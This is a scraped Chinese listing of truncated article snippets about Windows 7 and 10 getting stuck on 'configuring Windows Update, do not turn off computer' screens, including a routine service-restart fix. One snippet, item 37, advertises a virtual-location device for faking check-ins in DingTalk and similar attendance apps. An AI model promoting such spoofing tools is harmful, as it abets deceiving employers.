    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面&#xff0c;在等待界面中我们需要等待操作结束才能关机&#xff0c;虽然这比较麻烦&#xff0c;但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  29. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows&#xff0c;请勿关闭计算机”的提示&#xff0c;要过很久才能进入系统&#xff0c;有的用户甚至几个小时也无法进入&#xff0c;下面就教大家这个问题的解决方法。第一种方法&#xff1a;我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  30. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题&#xff0c;电脑时发现开机屏幕显现“正在配置Windows Update&#xff0c;请勿关机”(如下图所示)&#xff0c;而且还需求等大约5分钟才干进入系统。这是怎样回事呢&#xff1f;一切都是正常操作的&#xff0c;为什么开时机呈现“正…...

    2022/11/19 21:17:13
  31. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示&#xff0c;没过几秒后电脑自动重启&#xff0c;每次开机都这样无法进入系统&#xff0c;此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一&#xff1a;开机按下F8&#xff0c;在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  32. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况&#xff0c;就是电脑提示正在准备windows请勿关闭计算机&#xff0c;碰到这样的问题该怎么解决呢&#xff0c;现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法&#xff1a;1、2、依次…...

    2022/11/19 21:17:11
  33. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后&#xff0c;每次关机的时候桌面上都会显示一个“配置Windows Update的界面&#xff0c;提示请勿关闭计算机”&#xff0c;每次停留好几分钟才能正常关机&#xff0c;导致什么情况引起的呢&#xff1f;出现配置Windows Update…...

    2022/11/19 21:17:10
  34. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着&#xff0c;别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚&#xff0c;只能是考虑备份数据后重装系统了。解决来方案一&#xff1a;管理员运行cmd&#xff1a;net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  35. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

    原标题&#xff1a;电脑提示“配置Windows Update请勿关闭计算机”怎么办&#xff1f;win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢&#xff1f;一般的方…...

    2022/11/19 21:17:08
  36. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 &#xff0c;然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  37. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  38. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了&#xff0c;具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面&#xff0c;长时间没反应&#xff0c;无法进入系统。这个问题原来帮其他同学也解决过&#xff0c;网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  39. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法&#xff0c;并在最后教给你1种保护系统安全的好方法&#xff0c;一起来看看&#xff01;电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中&#xff0c;添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  40. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候&#xff0c;开启电脑发现电脑显示&#xff1a;配置windows更新失败&#xff0c;正在还原更改&#xff0c;请勿关闭计算机。。.这要怎么办呢&#xff1f;下面小编就带着大家一起看看吧&#xff01;如果能够正常进入系统&#xff0c;建议您暂时移…...

    2022/11/19 21:17:02
  41. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机&#xff0c;电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  42. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题&#xff0c;就是我们的win7系统在关机的时候&#xff0c;总是喜欢显示“准备配置windows&#xff0c;请勿关机”这样的一个页面&#xff0c;没有什么大碍&#xff0c;但是如果一直等着的话就要两个小时甚至更久都关不了机&#xff0c;非常…...

    2022/11/19 21:17:00
  43. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时&#xff0c;一般是您正对windows进行升级&#xff0c;但是这个要是长时间没有反应&#xff0c;我们不能再傻等下去了。可能是电脑出了别的问题了&#xff0c;来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  44. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况&#xff0c;当我们打开电脑之后&#xff0c;发现一直停留在一个界面&#xff1a;“配置Windows Update失败&#xff0c;还原更改请勿关闭计算机”&#xff0c;等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  45. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57